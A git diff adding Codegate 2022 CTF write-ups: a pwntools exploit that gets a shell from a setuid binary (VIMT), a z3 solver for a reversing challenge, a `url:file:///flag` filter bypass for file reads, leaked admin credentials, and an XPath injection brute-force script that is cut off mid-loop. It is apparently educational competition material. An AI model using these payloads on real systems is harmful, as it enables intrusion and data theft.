+ + diff --git a/Codegate-2022-quals/pwn/vimt.md b/Codegate-2022-quals/pwn/vimt.md new file mode 100755 index 0000000..d1a71da --- /dev/null +++ b/Codegate-2022-quals/pwn/vimt.md @@ -0,0 +1,253 @@ +# VIMT + +**Author**: [gallileo](https://twitter.com/galli_leo_) + +**Tags:** pwn + +**Points:** 856 (21 solves) + +**Description:** + +> `ssh ctf@3.38.59.103 -p 1234 password: ctf1234_smiley` +> +> Monkeys help you + +Although a somewhat unconventional setup (ssh'ing into the binary[^1]), the binary itself is fairly simple and even comes with symbols. The basic functionality is as follows: + +The binary creates a 2D map the size of your terminal. In a loop, it waits for you to enter a character. The character gets placed at the current position in the map, followed by 5 random characters. In addition, by sending a `\x1b` character, a command could be executed. The interesting commands are: + +- `compile`: Compiles the current map as C code and executes the result. +- `set`: Set the y coordinate of the current map position. + +We also notice some interesting setup code in `init`: + +```c +v4 = clock(); +v3 = time(0LL); +v0 = getpid(); +v1 = mix(v4, v3, v0); // some z3 looking combination of inputs. +srand(v1); +``` + +To me it looked like the intentional solution might have been to reverse the mix function and figure out the random seed to predict which additional letters get added to the map. However, we can actually solve this without having to do that. +I noticed, that by having a prime terminal width, we could actually also set the x coordinate. If we can set the x coordinate, we can of course create arbitrary map contents. + +If our terminal has a width of 29 and every time we enter a character the x position moves by 6, we can do the following: + +1. Enter 5 characters, now x position moves by 30 (with wrap around) +2. This means x position is now actually one after the original x position + +Since we can reset the y position to the original value, we can hence control the x position and can write anything on the map. Since doing this on the server was very slow (for some reason) and I probably made a mistake with my python code (more than one line would break it), we wanted a payload that is shorter than 29 characters. Luckily the following worked `main(){system("sh");}//`. + +Now the only thing left was fighting with pwntools, ssh and pseudoterminals (aka try random options until you get it to work) to actually have the correctly sized terminal on the remote. After that, it was just waiting around 20 minutes and then we got a shell. For some reason, I did not see any stdout of the remote terminal (except newlines maybe), so I had to exfil the flag with some bash magic. + +The final exploit script: + +```python +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template app +from pwn import * +import random + +# Set up pwntools for the correct architecture +exe = context.binary = ELF('app') + + +def local(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, stdin=PTY, raw=False, *a, **kw) + +def remote(): + #return ssh("ctf", host="3.38.59.103", port=1234, password="ctf1234_smiley") + # stty cols 29 rows 12 + p = process("sshpass -e ssh -tt ctf@3.38.59.103 -p 1234 'bash -i'", shell=True, env={"SSHPASS": "ctf1234_smiley"}) + p.sendlineafter("~$ ", "stty cols 29 rows 12") + p.sendlineafter("~$ ", "./app") + return p + +def start(*a, **kw): + if args.LOCAL: + return local(*a, **kw) + return remote(*a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +tbreak main +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: Partial RELRO +# Stack: No canary found +# NX: NX enabled +# PIE: No PIE (0x400000) + +#### remote comms +WIDTH = 29 +HEIGHT = 10 + +def read_mappa(): + begin = io.recvuntil(b"-"*WIDTH) + read_map = io.recvuntil(b"-"*WIDTH) + log.debug("REMOTE MAP:\n%s", read_map.decode("utf8", errors="ignore")) + return begin + read_map + +def send_data(data): + if isinstance(data, str): + data = data.encode("utf8") + io.send(data) + return read_mappa() + +def send_command(cmd, read = True): + io.send(b"\x1b") + if isinstance(cmd, str): + cmd = cmd.encode("utf8") + io.sendline(cmd) + if read: + return read_mappa() + return None + +def do_compile(): + return send_command("compile", False) + +def do_set_y(y_val): + return send_command(f"set y {y_val}") + +RAND_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!" + +log.info("Using terminal of size %d x %d", WIDTH, HEIGHT) + +mappa = [] +for y in range(HEIGHT): + row = "" + for x in range(WIDTH): + row += " " + mappa.append(row) + +cur_x = 0 +cur_y = 0 + +def check_coords_up(): + global cur_x, cur_y + if cur_x >= WIDTH: + cur_x = 0 + cur_y += 1 + if cur_y >= HEIGHT: + cur_y = HEIGHT - 1 + +def set_car(car): + global mappa, cur_y, cur_x + row = mappa[cur_y] + mappa[cur_y] = row[:cur_x] + car + row[cur_x+1:] + +def inpKey(car): + global cur_x + rem_map = send_data(car) + check_coords_up() + set_car(car) + cur_x += 1 + for i in range(5): + check_coords_up() + rand_car = random.choice(RAND_CHARS) + set_car(rand_car) + cur_x += 1 + return rem_map + +def set_y(y_val): + global cur_y + do_set_y(y_val) + cur_y = y_val + +def set_x(x_val): + global cur_y, cur_x + if cur_x == x_val: + return + # this is more involved! + + # number of times to enter a character for a row to be filled. + # every time we enter a character, we write 6 to the map! + min_to_fill = (WIDTH // 6) + 1 + # number of characters the new x position on the next row will be offset + offset = min_to_fill * 6 - WIDTH + # we could actually use any offset, would just mean more math lol + assert offset == 1 + # number of characters difference between desired and required x val + diff = (x_val - cur_x) + if diff < 0: + diff += WIDTH + num_inputs = (diff // offset) * min_to_fill + log.debug("Additional inputs: %d", num_inputs) + for k in range(num_inputs): + inpKey("G") + log.debug("cur_x %d vs x_val %d", cur_x, x_val) + assert cur_x == x_val + + +def pmap(): + log.info("MAP:\n%s", "\n".join(mappa)) + +def write_line(y, s: str): + log.debug("Writing line %s @ y = %d", s, y) + for idx, car in enumerate(s): + set_x(idx) + set_y(y) + inpKey(car) + set_x(len(s)) + set_y(y) + inpKey("\n") + +def write_str(start_x, start_y, s: str): + x = start_x + y = start_y + for idx, car in enumerate(s): + + if x >= WIDTH: + x = 0 + y =+ 1 + if y >= HEIGHT: + log.error("FAILED TO WRITE STRING!") + log.info("Writing %s at %d, %d", car, x, y) + set_x(x) + set_y(y) + rem_map = inpKey(car) + if idx % 10: + log.info("remote map:\n%s", rem_map.decode("utf8", errors="ignore")) + x += 1 + +log.info("Initial map:") +pmap() + +io = start() +# io.interactive() +init_map = read_mappa() +log.info("init remote map:\n%s", init_map.decode("utf8", errors="ignore")) + +PAYLOAD = """main(){system("sh");}//""" +log.info("PAYLOAD:\n%s", PAYLOAD) + +write_str(0, 0, PAYLOAD) +log.info("map with payload:") +pmap() +log.info("Writing map to file: test.c") +with open("test.c", "w") as f: + f.write("".join(mappa)) + +rem_map = send_data("$") +log.info("Remote map:\n%s", rem_map.decode("utf8", errors="ignore")) +pause() +do_compile() +io.interactive() + +``` + +[^1]: The setup actually allowed you to get a terminal on the server. However, since the flag is only readable by root and the challenge binary is setuid, we still need to pwn the binary. diff --git a/Codegate-2022-quals/rev/vlfv.html b/Codegate-2022-quals/rev/vlfv.html new file mode 100755 index 0000000..00a9fd1 --- /dev/null +++ b/Codegate-2022-quals/rev/vlfv.html @@ -0,0 +1,392 @@ + + + + + +Very Long Flag Validator | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Very Long Flag Validator

+ +

Author: TheBadGod

+ +

Tags: rev

+ +

Points: 1000 (2 solves)

+ +

Description:

+ +
+

Can you find the flag?

+
+ +

Initial reversing

+ +

After opening the binary in ida and adjusting the maximum size for functions +to actually get a nicer decompilation, I could identify some C++ functions +(it took some time to figure out that ida applied wrong lumina data and +it was actually just vector::push_back and not some Variadic thingy…

+ +

Anyway, after identifying that the main struct initialized in main is +64 vectors, 64 mutexes, 64 conditional variables and 64 chars and that +this struct is passed to 64 threads it was pretty clear that there will be +some inter-trhead communication.

+ +

So after looking at the first thread’s function for some time I realized +that it locks the lock with a certain index in the struct, then checks if +there’s something in the vector and if not, it waits using the conditional +variable with the same index as the lock. Then it pops a value from the vector, +(by getting the start pointer, dereffing and then popping the value using again +a C++ function which was a bit tricky to identify).

+ +

This value is then split into the lowest bit as well as the upper bits, +the upper bits are then compared with certain values (different in each +function), if the value matches, we store the lowest bit value in a local +variable (which was initialized to -1 to signify no value). There are always +three inputs which belong together, they are inputs into a full-adder, so we +have three inputs and two outputs, the carry was pushed into the vector +of the next function (in order they were started in / are stored in the binary) +the upper bits were set to one of the values that function was expecting. +The xor result of the three inputs was pushed into the vector of the same +function, again using one of the specified upper bits for this function.

+ +

Parsing of the stuff (pain)

+ +

So this seems to be a dataflow machine, each function is a adding-station, +and it waits for certain tagged inputs to add them. There are eight functions +which belong together in the sense that the carry will go to the next function. +And of these pairs of eight functions there are eight, for a total of 64 +functions. At this point I assumed that it doesn’t matter in which function +we are and that we just need to care about the tag of the inputs/outputs, +so I spent a long time to come up with a good way to parse all the station’s +inputs and outputs. In the end I came up with the following grep command: +objdump --insn-width=100 -d -M intel main | grep -e ret -e cmp -e "[^x]or" -A 2 +which prints all the compares and since grep is smart is prints consecutive +matches as one block and then separates different blocks by a single line +of --. So by counting the amount of newlines between two -- I was able +to determine if it was a block where we check for the two or three input +tag numbers. Then I just extracted the numbers from the compare instructions +to get the inputs. Finally if there was an or instruction I assumed that this +sets the upper bits of the output, there were some complications with this, +as the compiler is smart and emits an or ah, 1 in cases where the tag +was 256, so I had to adjust that (and spend about an hour to find a bug +as one single function used dh instead of ah…).

+ +

After having parsed all of thses things it’s just a matter of putting +all the initial values and rules into z3 and letting it solve for the +correct input. This was easily done, as I could just copy the decompiled +code from main, fix up a few bits (again because of the ah). Then +I could easily parse that code to get the tags and corresponding values +(wether that was a constant or one of our input bits).

+ +

Final script

+ +

The final script to parse all the things and solver looks like this:

+
from z3 import *
+
+# objdump --insn-width=100 -d -M intel main | grep -e ret -e cmp -e "[^x]or" -A 2 > cmps
+x = open("cmps").read().split("--")
+
+#the tags which symbolize the final value of a station
+tgts = [0xec,0x16d,0x182,0x185,0x194,0x197,0x1a0,0x1a3,0x2ae,0x2cf,0x2d2,0x2e4,0x2f3,0x2ff,0x308,0x30e,0x4cd,0x4d0,0x4e5,0x4e8,0x4f7,0x4fa,0x4fd,0x503,0x57e,0x6a4,0x6b9,0x6bc,0x6cb,0x6ce,0x6d7,0x6dd,0x800,0x84e,0x863,0x866,0x869,0x86c,0x86f,0x875,0xa43,0xa46,0xa5b,0xa6d,0xa7c,0xa7f,0xa88,0xa8e,0xb6c,0xbd5,0xbff,0xc02,0xc11,0xc1d,0xc20,0xc26,0xce3,0xdb8,0xdcd,0xdd0,0xdd3,0xdd6,0xdd9,0xddf]
+# order the threads are started in
+bitorder = [2,28,46,4,32,5,14,40,29,43,25,0,19,35,16,63,59,7,24,22,62,30,36,56,44,42,6,11,58,47,39,34,17,31,26,41,37,3,50,53,13,27,21,49,1,12,51,20,9,52,55,18,10,15,61,8,38,45,23,54,33,60,57,48]
+# the expected outputs, checked in main
+expected = [1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1]
+
+last_outs = []
+last_inputs = []
+
+# init solver & values for each tag
+s = Solver()
+tags = [Bool(f"tag_{i}") for i in range(3554)]
+
+# pushes from main
+xx = open("pushes.c").read().split("\n")
+
+bit = 0
+tag = 0
+inputs = [Bool(f"in[{i}]") for i in range(64)] # our input, 64 bits (aka 8 bytes == 16 hex chars)
+consts = [0]*64
+for i,l in enumerate(xx):
+    if l == "": continue
+    if i & 1:   
+        idx = int(l.split("[")[1].split("]")[0])
+        s.add(tags[tag] == bit)
+    else:
+        if "|" in l:
+            tag = eval(l.split("|")[1].split(";")[0].strip())
+            assert(tag & 1 == 0)
+            tag >>= 1
+            input_idx = int(l.split("[")[1].split("]")[0])
+            bit = inputs[input_idx]
+        else:
+            val = int(l.split("=")[1].strip()[:-1])
+            bit = (val & 1) == 1
+            tag = val >> 1
+            consts[tag] = bit
+
+# the constant values
+#print([1 if x else 0 for x in consts])
+
+# the adding stations...
+idx = -5
+for i in x:
+    if "ret" in i:
+        idx += 1
+        if idx == 64:
+            break
+
+    fl = i.split("\n")[1]
+    if "or" in fl and "0x" in fl:
+        xx = int(fl.split(",")[-1].strip(),0)
+        if xx > 0x10000:
+            xx = xx & 0xff
+        if "ah" in fl or "dh" in fl:# man fuck dh
+            xx<<=8
+
+        assert(xx&1 == 0)
+        last_outs.append(xx>>1)
+
+        if (idx in [7, 15, 23, 31, 39, 47, 55, 63] and len(last_outs) == 1) or len(last_outs) == 2:
+            #print(last_inputs, "=>", last_outs)
+            xored_tgt = last_outs[-1]
+
+            if len(last_inputs) == 2:
+                s.add(Xor(tags[last_inputs[0]], tags[last_inputs[1]]) == tags[xored_tgt])
+            else:
+                # Man fuck z3, why does it allow Xor(a,b,c) with three inputs but doesn't fucking work
+                # This could've been solved like 3 hours earlier but because of this fucking
+                # z3 thingy they were lost, rip
+                s.add(Xor(Xor(tags[last_inputs[0]], tags[last_inputs[1]]), tags[last_inputs[2]]) == tags[xored_tgt])
+        
+            if xored_tgt in tgts:
+                print("Target found: ", idx, last_inputs, last_outs)
+
+        if len(last_outs) == 2:
+            ovf_tgt = last_outs[0]
+            #print(idx, last_inputs, last_outs)
+            if len(last_inputs) == 2:
+                s.add(And(tags[last_inputs[0]], tags[last_inputs[1]]) == tags[ovf_tgt])
+            else:
+                a, b, c = tags[last_inputs[0]], tags[last_inputs[1]], tags[last_inputs[2]]
+                s.add(Or(And(a,b), And(a,c), And(b,c)) == tags[ovf_tgt])
+
+    if i.count("\n") > 6:
+        last_inputs = []
+        last_outs = []
+        for l in i.split("\n"):
+            if "cmp" in l:
+                last_inputs.append(int(l.split(",")[-1],0))
+        last_inputs = list(set(last_inputs))
+        #print(idx, last_inputs)
+
+# extract the resulting bits
+results = [tags[tgts[i]] for i in range(64)]
+
+# add the conditions
+for i in range(64):
+    s.add(results[i] == (1==expected[bitorder[i]]))
+
+if s.check() == sat:
+    m = s.model()
+    x = ""
+    for i in inputs:
+        print(1 if m[i] else 0,end="")
+        x += "1" if m[i] else "0"
+    print()
+    print(hex(int(x[::-1],2))[:1:-1])
+else:
+    print("oof")
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/rev/vlfv.md b/Codegate-2022-quals/rev/vlfv.md new file mode 100755 index 0000000..03bc713 --- /dev/null +++ b/Codegate-2022-quals/rev/vlfv.md @@ -0,0 +1,192 @@ +# Very Long Flag Validator + +**Author**: TheBadGod + +**Tags:** rev + +**Points:** 1000 (2 solves) + +**Description:** + +> Can you find the flag? + +#### Initial reversing + +After opening the binary in ida and adjusting the maximum size for functions +to actually get a nicer decompilation, I could identify some C++ functions +(it took some time to figure out that ida applied wrong lumina data and +it was actually just `vector::push_back` and not some Variadic thingy... + +Anyway, after identifying that the main struct initialized in main is +64 vectors, 64 mutexes, 64 conditional variables and 64 chars and that +this struct is passed to 64 threads it was pretty clear that there will be +some inter-trhead communication. + +So after looking at the first thread's function for some time I realized +that it locks the lock with a certain index in the struct, then checks if +there's something in the vector and if not, it waits using the conditional +variable with the same index as the lock. Then it pops a value from the vector, +(by getting the start pointer, dereffing and then popping the value using again +a C++ function which was a bit tricky to identify). + +This value is then split into the lowest bit as well as the upper bits, +the upper bits are then compared with certain values (different in each +function), if the value matches, we store the lowest bit value in a local +variable (which was initialized to -1 to signify no value). There are always +three inputs which belong together, they are inputs into a full-adder, so we +have three inputs and two outputs, the carry was pushed into the vector +of the next function (in order they were started in / are stored in the binary) +the upper bits were set to one of the values that function was expecting. +The xor result of the three inputs was pushed into the vector of the same +function, again using one of the specified upper bits for this function. + +#### Parsing of the stuff (pain) + +So this seems to be a dataflow machine, each function is a adding-station, +and it waits for certain tagged inputs to add them. There are eight functions +which belong together in the sense that the carry will go to the next function. +And of these pairs of eight functions there are eight, for a total of 64 +functions. At this point I assumed that it doesn't matter in which function +we are and that we just need to care about the tag of the inputs/outputs, +so I spent a long time to come up with a good way to parse all the station's +inputs and outputs. In the end I came up with the following grep command: +`objdump --insn-width=100 -d -M intel main | grep -e ret -e cmp -e "[^x]or" -A 2` +which prints all the compares and since grep is smart is prints consecutive +matches as one block and then separates different blocks by a single line +of `--`. So by counting the amount of newlines between two `--` I was able +to determine if it was a block where we check for the two or three input +tag numbers. Then I just extracted the numbers from the compare instructions +to get the inputs. Finally if there was an or instruction I assumed that this +sets the upper bits of the output, there were some complications with this, +as the compiler is smart and emits an `or ah, 1` in cases where the tag +was 256, so I had to adjust that (and spend about an hour to find a bug +as one single function used dh instead of ah...). + +After having parsed all of thses things it's just a matter of putting +all the initial values and rules into z3 and letting it solve for the +correct input. This was easily done, as I could just copy the decompiled +code from main, fix up a few bits (again because of the ah). Then +I could easily parse that code to get the tags and corresponding values +(wether that was a constant or one of our input bits). + +#### Final script + +The final script to parse all the things and solver looks like this: +```python +from z3 import * + +# objdump --insn-width=100 -d -M intel main | grep -e ret -e cmp -e "[^x]or" -A 2 > cmps +x = open("cmps").read().split("--") + +#the tags which symbolize the final value of a station +tgts = [0xec,0x16d,0x182,0x185,0x194,0x197,0x1a0,0x1a3,0x2ae,0x2cf,0x2d2,0x2e4,0x2f3,0x2ff,0x308,0x30e,0x4cd,0x4d0,0x4e5,0x4e8,0x4f7,0x4fa,0x4fd,0x503,0x57e,0x6a4,0x6b9,0x6bc,0x6cb,0x6ce,0x6d7,0x6dd,0x800,0x84e,0x863,0x866,0x869,0x86c,0x86f,0x875,0xa43,0xa46,0xa5b,0xa6d,0xa7c,0xa7f,0xa88,0xa8e,0xb6c,0xbd5,0xbff,0xc02,0xc11,0xc1d,0xc20,0xc26,0xce3,0xdb8,0xdcd,0xdd0,0xdd3,0xdd6,0xdd9,0xddf] +# order the threads are started in +bitorder = [2,28,46,4,32,5,14,40,29,43,25,0,19,35,16,63,59,7,24,22,62,30,36,56,44,42,6,11,58,47,39,34,17,31,26,41,37,3,50,53,13,27,21,49,1,12,51,20,9,52,55,18,10,15,61,8,38,45,23,54,33,60,57,48] +# the expected outputs, checked in main +expected = [1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1] + +last_outs = [] +last_inputs = [] + +# init solver & values for each tag +s = Solver() +tags = [Bool(f"tag_{i}") for i in range(3554)] + +# pushes from main +xx = open("pushes.c").read().split("\n") + +bit = 0 +tag = 0 +inputs = [Bool(f"in[{i}]") for i in range(64)] # our input, 64 bits (aka 8 bytes == 16 hex chars) +consts = [0]*64 +for i,l in enumerate(xx): + if l == "": continue + if i & 1: + idx = int(l.split("[")[1].split("]")[0]) + s.add(tags[tag] == bit) + else: + if "|" in l: + tag = eval(l.split("|")[1].split(";")[0].strip()) + assert(tag & 1 == 0) + tag >>= 1 + input_idx = int(l.split("[")[1].split("]")[0]) + bit = inputs[input_idx] + else: + val = int(l.split("=")[1].strip()[:-1]) + bit = (val & 1) == 1 + tag = val >> 1 + consts[tag] = bit + +# the constant values +#print([1 if x else 0 for x in consts]) + +# the adding stations... +idx = -5 +for i in x: + if "ret" in i: + idx += 1 + if idx == 64: + break + + fl = i.split("\n")[1] + if "or" in fl and "0x" in fl: + xx = int(fl.split(",")[-1].strip(),0) + if xx > 0x10000: + xx = xx & 0xff + if "ah" in fl or "dh" in fl:# man fuck dh + xx<<=8 + + assert(xx&1 == 0) + last_outs.append(xx>>1) + + if (idx in [7, 15, 23, 31, 39, 47, 55, 63] and len(last_outs) == 1) or len(last_outs) == 2: + #print(last_inputs, "=>", last_outs) + xored_tgt = last_outs[-1] + + if len(last_inputs) == 2: + s.add(Xor(tags[last_inputs[0]], tags[last_inputs[1]]) == tags[xored_tgt]) + else: + # Man fuck z3, why does it allow Xor(a,b,c) with three inputs but doesn't fucking work + # This could've been solved like 3 hours earlier but because of this fucking + # z3 thingy they were lost, rip + s.add(Xor(Xor(tags[last_inputs[0]], tags[last_inputs[1]]), tags[last_inputs[2]]) == tags[xored_tgt]) + + if xored_tgt in tgts: + print("Target found: ", idx, last_inputs, last_outs) + + if len(last_outs) == 2: + ovf_tgt = last_outs[0] + #print(idx, last_inputs, last_outs) + if len(last_inputs) == 2: + s.add(And(tags[last_inputs[0]], tags[last_inputs[1]]) == tags[ovf_tgt]) + else: + a, b, c = tags[last_inputs[0]], tags[last_inputs[1]], tags[last_inputs[2]] + s.add(Or(And(a,b), And(a,c), And(b,c)) == tags[ovf_tgt]) + + if i.count("\n") > 6: + last_inputs = [] + last_outs = [] + for l in i.split("\n"): + if "cmp" in l: + last_inputs.append(int(l.split(",")[-1],0)) + last_inputs = list(set(last_inputs)) + #print(idx, last_inputs) + +# extract the resulting bits +results = [tags[tgts[i]] for i in range(64)] + +# add the conditions +for i in range(64): + s.add(results[i] == (1==expected[bitorder[i]])) + +if s.check() == sat: + m = s.model() + x = "" + for i in inputs: + print(1 if m[i] else 0,end="") + x += "1" if m[i] else "0" + print() + print(hex(int(x[::-1],2))[:1:-1]) +else: + print("oof") +``` \ No newline at end of file diff --git a/Codegate-2022-quals/web/babyfirst.html b/Codegate-2022-quals/web/babyfirst.html new file mode 100755 index 0000000..0e67dbf --- /dev/null +++ b/Codegate-2022-quals/web/babyfirst.html @@ -0,0 +1,272 @@ + + + + + +babyFirst | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

babyFirst

+ +

Author: jkr

+ +

Tags: web

+ +

Points: 718 (29 solves)

+ +

Description:

+ +
+

get the flag

+
+ +

The memo application babyFirst allows to write, list and read memos that are created. The complete application logic is in the MemoServlet.class. After decompilation we see the request routing and user/session handling. The only function that is standing out to be exploitable is lookupImg() that gets called when viewing a memo.

+ +
  private static String lookupImg(String memo) {
+    Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
+    Matcher matcher = pattern.matcher(memo);
+    String img = "";
+    if (matcher.find()) {
+      img = matcher.group();
+    } else {
+      return "";
+    } 
+    String tmp = img.substring(1, img.length() - 1);
+    tmp = tmp.trim().toLowerCase();
+    pattern = Pattern.compile("^[a-z]+:");
+    matcher = pattern.matcher(tmp);
+    if (!matcher.find() || matcher.group().startsWith("file"))
+      return ""; 
+    String urlContent = "";
+    try {
+      URL url = new URL(tmp);
+      BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
+      String inputLine = "";
+      while ((inputLine = in.readLine()) != null)
+        urlContent = urlContent + inputLine + "\n"; 
+      in.close();
+    } catch (Exception e) {
+      return "";
+    } 
+    Base64.Encoder encoder = Base64.getEncoder();
+    try {
+      String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
+      memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
+      return memo;
+    } catch (Exception e) {
+      return "";
+    } 
+  }
+
+ +

A java.net.URL class will be initialized for a given URL in square brackets. Java without custom classes supports several protocols out-of-the-box like http, https as well as file (for local file reads). As the given URL is downcased we can’t use FILE:///flag to read as file protocol is blacklisted. Looking into the java.net.URL source code we find following special case while parsing the URI:

+ +
        try {
+            limit = spec.length();
+            while ((limit > 0) && (spec.charAt(limit - 1) <= ' ')) {
+                limit--;        //eliminate trailing whitespace
+            }
+            while ((start < limit) && (spec.charAt(start) <= ' ')) {
+                start++;        // eliminate leading whitespace
+            }
+
+            if (spec.regionMatches(true, start, "url:", 0, 4)) {
+                start += 4;
+            }
+            (...)
+
+ +

By prefixing the blacklisted file:///flag with url: we can access the flag by posting (and afterwards viewing) a memo with content:

+ +

[url:file:///flag]

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/web/babyfirst.md b/Codegate-2022-quals/web/babyfirst.md new file mode 100755 index 0000000..ba2bfae --- /dev/null +++ b/Codegate-2022-quals/web/babyfirst.md @@ -0,0 +1,73 @@ +# babyFirst + +**Author**: jkr + +**Tags:** web + +**Points:** 718 (29 solves) + +**Description:** + +> get the flag + +The memo application babyFirst allows to write, list and read memos that are created. The complete application logic is in the `MemoServlet.class`. After decompilation we see the request routing and user/session handling. The only function that is standing out to be exploitable is `lookupImg()` that gets called when viewing a memo. + +```java= + private static String lookupImg(String memo) { + Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])"); + Matcher matcher = pattern.matcher(memo); + String img = ""; + if (matcher.find()) { + img = matcher.group(); + } else { + return ""; + } + String tmp = img.substring(1, img.length() - 1); + tmp = tmp.trim().toLowerCase(); + pattern = Pattern.compile("^[a-z]+:"); + matcher = pattern.matcher(tmp); + if (!matcher.find() || matcher.group().startsWith("file")) + return ""; + String urlContent = ""; + try { + URL url = new URL(tmp); + BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream())); + String inputLine = ""; + while ((inputLine = in.readLine()) != null) + urlContent = urlContent + inputLine + "\n"; + in.close(); + } catch (Exception e) { + return ""; + } + Base64.Encoder encoder = Base64.getEncoder(); + try { + String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8"))); + memo = memo.replace(img, "
"); + return memo; + } catch (Exception e) { + return ""; + } + } +``` + +A `java.net.URL` class will be initialized for a given URL in square brackets. Java without custom classes supports several protocols out-of-the-box like `http`, `https` as well as `file` (for local file reads). As the given URL is downcased we can't use `FILE:///flag` to read as `file` protocol is blacklisted. Looking into the `java.net.URL` source code we find following special case while parsing the URI: + +```c= + try { + limit = spec.length(); + while ((limit > 0) && (spec.charAt(limit - 1) <= ' ')) { + limit--; //eliminate trailing whitespace + } + while ((start < limit) && (spec.charAt(start) <= ' ')) { + start++; // eliminate leading whitespace + } + + if (spec.regionMatches(true, start, "url:", 0, 4)) { + start += 4; + } + (...) +``` + +By prefixing the blacklisted `file:///flag` with `url:` we can access the flag by posting (and afterwards viewing) a memo with content: + +`[url:file:///flag]` \ No newline at end of file diff --git a/Codegate-2022-quals/web/cafe.html b/Codegate-2022-quals/web/cafe.html new file mode 100755 index 0000000..f7eec55 --- /dev/null +++ b/Codegate-2022-quals/web/cafe.html @@ -0,0 +1,225 @@ + + + + + +CAFE | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

CAFE

+ +

Author: Andris

+ +

Tags: web

+ +

Points: 100 (138 solves)

+ +

Description:

+ +
+

You can enjoy this cafe :)

+ +

upload text, youtube, …

+
+ +

bot.py contains

+ +
driver.get('http://3.39.55.38:1929/login')
+driver.find_element_by_id('id').send_keys('admin')
+driver.find_element_by_id('pw').send_keys('$MiLEYEN4')
+driver.find_element_by_id('submit').click()
+time.sleep(2)
+
+ +

Loging in with these credentials gives a list with all of the admin’s notes. The first of which (titled flag) contains the flag.

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/web/cafe.md b/Codegate-2022-quals/web/cafe.md new file mode 100755 index 0000000..16371c7 --- /dev/null +++ b/Codegate-2022-quals/web/cafe.md @@ -0,0 +1,25 @@ +# CAFE + +**Author**: Andris + +**Tags:** web + +**Points:** 100 (138 solves) + +**Description:** + +> You can enjoy this cafe :) +> +> upload text, youtube, ... + +bot.py contains + +``` +driver.get('http://3.39.55.38:1929/login') +driver.find_element_by_id('id').send_keys('admin') +driver.find_element_by_id('pw').send_keys('$MiLEYEN4') +driver.find_element_by_id('submit').click() +time.sleep(2) +``` + +Loging in with these credentials gives a list with all of the admin's notes. The first of which (titled _flag_) contains the flag. diff --git a/Codegate-2022-quals/web/myblog.html b/Codegate-2022-quals/web/myblog.html new file mode 100755 index 0000000..26de3d3 --- /dev/null +++ b/Codegate-2022-quals/web/myblog.html @@ -0,0 +1,256 @@ + + + + + +Myblog | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Myblog

+ +

Author: jkr

+ +

Tags: web

+ +

Points: 884 (19 solves)

+ +

Description:

+ +
+

I made a blog. Please check the security.

+
+ +

myblog is a simple blog that allows registering a user as well as reading and writing blog posts that have a title and content. The complete application logic is in blogServlet.class. After decompilation we see the request routing and user/session handling. The only function that is standing out to be exploitable is doReadArticle() that gets called when viewing a blog post.

+ +
  private String[] doReadArticle(HttpServletRequest req) {
+    String id = (String)req.getSession().getAttribute("id");
+    String idx = req.getParameter("idx");
+    if ("null".equals(id) || idx == null)
+      return null; 
+    File userArticle = new File(this.tmpDir + "/article/", id + ".xml");
+    try {
+      InputSource is = new InputSource(new FileInputStream(userArticle));
+      Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(is);
+      XPath xpath = XPathFactory.newInstance().newXPath();
+      String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING);
+      String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
+      title = decBase64(title.trim());
+      content = decBase64(content.trim());
+      return new String[] { title, content };
+    } catch (Exception e) {
+      System.out.println(e.getMessage());
+      return null;
+    } 
+  }
+
+ +

As idx parameter is unfiltered and this parameter goes straight into an XPath evaluation we can inject into XPath. Given the flag being placed in catalina.properties of tomcat means that the flag will be available as a system property called flag. Lucky enough XPath allows to access a system property using fn:system-property() as documented in the XSL function spec.

+ +

We can use the XPath injection to have an oracle (true/false) using an injected XPath. After creating a blog post containing the word MARKER in title and content we use following script to brute the flag content using the true/false oracle of the injection 1' and starts-with(system-property('flag'),'FLAGHERE') or ':

+ +
#!/usr/bin/python
+import requests, string
+headers = {"Cookie":"JSESSIONID=42442D352EBC41CE4FE07B8C0B72820C"}
+chars = "abcdef0123456789}{"
+
+url = 'http://3.39.79.180/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27{0}%27)%20or%20%27'
+p = 'codegate2022{'
+while True:
+    print p
+    for x in chars:
